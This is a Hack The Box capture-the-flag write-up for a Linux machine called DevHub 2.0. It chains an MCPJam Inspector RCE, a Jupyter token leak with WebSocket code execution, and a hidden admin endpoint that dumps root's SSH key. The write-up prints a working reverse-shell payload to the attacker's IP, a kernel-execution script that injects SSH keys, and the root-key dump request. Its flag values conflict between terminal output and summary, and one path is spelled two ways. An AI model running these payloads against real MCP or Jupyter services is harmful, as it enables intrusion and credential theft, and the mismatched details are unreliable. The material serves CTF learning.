

DevHub 2.0 - HTB Session 11

Platform: Hack The Box

Difficulty: Medium

OS: Linux (Ubuntu 22.04)

Target IP: 10.129.3.57

Attacker IP: 10.10.15.65

Date: 13.6.2026

Summary

Initial access came from an RCE in MCP Inspector. Then Jupyter Lab was abused to access the analyst account, and a hidden admin endpoint allowed privilege escalation to root.

Attack Path

Step	Technique	Result
1	MCP Inspector RCE	Initial shell as <code>mcp-dev</code>
2	Jupyter Token Leakage	Discovered analyst Jupyter token
3	WebSocket Code Execution	Added SSH key for analyst
4	Hidden Admin Function	Retrieved root SSH private key
5	SSH Authentication	Root access obtained

Reconnaissance

Port Scan

```
nmap -p- -sC -sV 10.129.3.57 -oA 10.129.3.57
```

Scan Result

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-13 15:08 +0800
Nmap scan report for 10.129.3.57
Host is up (0.032s latency).
```

Not shown: 65532 filtered tcp ports (no-response)

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_  256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)

80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

6274/tcp  open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
|   HTTP/1.1 400 Bad Request
|   Connection: close
|   GetRequest:
|   HTTP/1.1 200 OK
|   access-control-allow-credentials: true
|   content-length: 466
|   content-type: text/html; charset=utf-8
|   vary: Origin
|   Date: Sat, 13 Jun 2026 07:13:24 GMT
|_  Connection: close
```

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp	open	http	nginx 1.18.0 (Ubuntu)
6274/tcp	open	unknown	unknown

Environment Setup

The web application redirects users to the local domain `devhub.htb`. To access the site correctly, add the domain to the local hosts file.

```
echo "10.129.3.57 devhub.htb" | sudo tee -a /etc/hosts
```

get

```
10.129.3.57 devhub.htb
```

Foothold

Reverse Shell via MCP Inspector

Port 6274 hosts an MCP Inspector service. The `/api/mcp/connect` endpoint accepts user-controlled commands, allowing remote command execution.

Start a Netcat Listener

```
nc -lvnp 4444
```

Trigger Reverse Shell

```
curl -s -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig": {"command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.15.65/4444 0>&1"], "env": {}}, "serverId": "shell13"}'
```

```
{"success":false,"error":"Connection failed for server shell13: MCP error -32001: Request timed out","details":"MCP error -32001: Request timed out"}
```

A reverse shell connection is received as the `mcp-dev` user.

```
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.65] from (UNKNOWN) [10.129.3.57] 53184
bash: cannot set terminal process group (1101): Inappropriate ioctl for device
bash: no job control in this shell
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ whoami
whoami
mcp-dev
```

Upgrade TTY

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ python3 -c 'import pty;
pty.spawn("/bin/bash")'
<or$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Lateral Movement

Discover Internal Jupyter Service

Enumerate running processes and identify an internal Jupyter Lab instance.

```
ps aux | grep jupyter
```

The process arguments reveal a valid authentication token.

```
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ps aux | grep jupyter

<de_modules/@mcpjam/inspector$ ps aux | grep jupyter
analyst      1100  0.3  2.4 182536 96572 ?        Ss   07:05   0:05
/home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --
ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --
ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --
ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
root         1108  0.0  0.7  37376 28688 ?        Ss   07:05   0:00
/home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
mcp-dev      1592  0.0  0.0   6828  2092 pts/1    S+   07:37   0:00 grep --
color=auto jupyter
```

Token: `a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7`

Create a New Kernel

```
curl -s -X POST \
"http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \
-H "Content-Type: application/json" \
-d '{}'
```

The request returns a kernel ID which can be used for code execution.

```
{ "id": "efeaea2d-c81e-4991-afb5-66c9af19fe72",  
  "name": "python3" }
```

Kernel ID: efeaea2d-c81e-4991-afb5-66c9af19fe72

Raw WebSocket

Since websocket-client was unavailable (no internet), a raw WebSocket frame was crafted manually

```
python3 << 'EOF'  
import socket, base64, os, json, struct, uuid, time  
  
TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7"  
KERNEL_ID = "efeaea2d-c81e-4991-afb5-66c9af19fe72"  
key = base64.b64encode(os.urandom(16)).decode()  
  
upgrade = (  
    f"GET /api/kernels/{KERNEL_ID}/channels?token={TOKEN} HTTP/1.1\r\n"  
    f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"  
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"  
)  
  
s = socket.socket()  
s.connect(("localhost", 8888))  
s.send(upgrade.encode())  
s.recv(4096)  
  
cmd = "import os; os.system('mkdir -p /home/analyst/.ssh && echo \"ssh-rsa  
AAAAB3NzaC1yc2E... chin@kali\" >> /home/analyst/.ssh/authorized_keys && chmod 700  
/home/analyst/.ssh && chmod 600 /home/analyst/.ssh/authorized_keys')"  
  
msg = json.dumps({  
    "header": {  
        "msg_id": str(uuid.uuid4()),  
        "msg_type": "execute_request",  
        "username": "",  
        "session": str(uuid.uuid4()),  
        "version": "5.0"  
    },  
    "parent_header": {},  
    "metadata": {},  
    "content": {  
        "code": cmd,  
        "silent": False  
    }  
})  
  
payload = msg.encode()  
length = len(payload)  
mask_key = os.urandom(4)
```

```
masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)])

if length <= 125:
    header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key
elif length <= 65535:
    header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key
else:
    header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key

s.send(header + masked)
time.sleep(2)

print("[+] SSH Key Injection payload dispatched!")
```

Execute WebSocket Exploit

Transfer and execute the Python script to inject an SSH public key into the analyst user's account.

```
python3 /tmp/pwn.py
```

```
[+] SSH Key Injection payload dispatched!
```

SSH as analyst

```
ssh analyst@devhub.htb
```

Successful login confirms access to the analyst account.

```
Welcome to Ubuntu 22.04.5 LTS
...
analyst@devhub:~$
```

User Flag

```
cat ~/user.txt
```

```
analyst@devhub:~$ cat /home/analyst/user.txt
9fa8bcfdabbad67566108fd4d20ef4a5
```

User Flag: 9cfd5dc906d5b588b7859424e6e0421a

Privilege Escalation

Review Internal Service

During enumeration, an internal Flask application is discovered.

```
cat /opt/psmcp/server.py
```

Reviewing the source code reveals:

- A hardcoded API key
- A hidden administrative function named `ops._admin_dump`

The source code reveals a hardcoded API key and a hidden administrative function.

```
psmcp_secret_key_4f5a6b7c8d9e0f1a

elif tool_name == "ops._admin_dump":
    target = args.get('target', '')
    confirm = args.get('confirm', False)

    if target == "ssh_keys":
        with open('/root/.ssh/id_rsa', 'r') as f:
            key_data = f.read()
```

Dump Root SSH Key

```
curl -s -X POST "http://localhost:5000/tools/call" \
-H "Content-Type: application/json" \
-H "X-API-Key: psmcp_secret_key_4f5a6b7c8d9e0f1a" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}'
```

The endpoint returns the root user's private SSH key.

SSH as root

Save the key locally and set the correct permissions.

```
chmod 600 root_key
ssh -i root_key root@10.129.3.57
```

A root shell is obtained.

```
root@devhub:~#
```

Root Flag

```
cat /root/root.txt
```

```
root@devhub:~# cat /root/root.txt
d8cdaf4dc7354dbe3d55d7bdb264b6c3
```

Root Flag: f08364d99ace8798681925311bf24d78

Flag

Flag	Description
User	9cfd5dc906d5b588b7859424e6e0421a
Root	f08364d99ace8798681925311bf24d78

CVE Summary

Stage	CVE	Description	Impact
Initial Access	CVE-2026-23744	MCPJam Inspector unauthenticated RCE via <code>/api/mcp/connect</code>	Shell as <code>mcp-dev</code>
Initial Access	CVE-2025-49596	MCP Inspector DNS Rebinding RCE	Alternative path to code execution
Lateral Movement	N/A	Exposed Jupyter authentication token	Access to analyst Jupyter kernel
Lateral Movement	N/A	Jupyter kernel code execution via WebSocket	SSH key injection
Privilege Escalation	N/A	Hardcoded API key in OPSMCP	Unauthorized API access
Privilege Escalation	N/A	Hidden <code>ops._admin_dump</code> functionality	Disclosure of root SSH private key

Writeup by Chin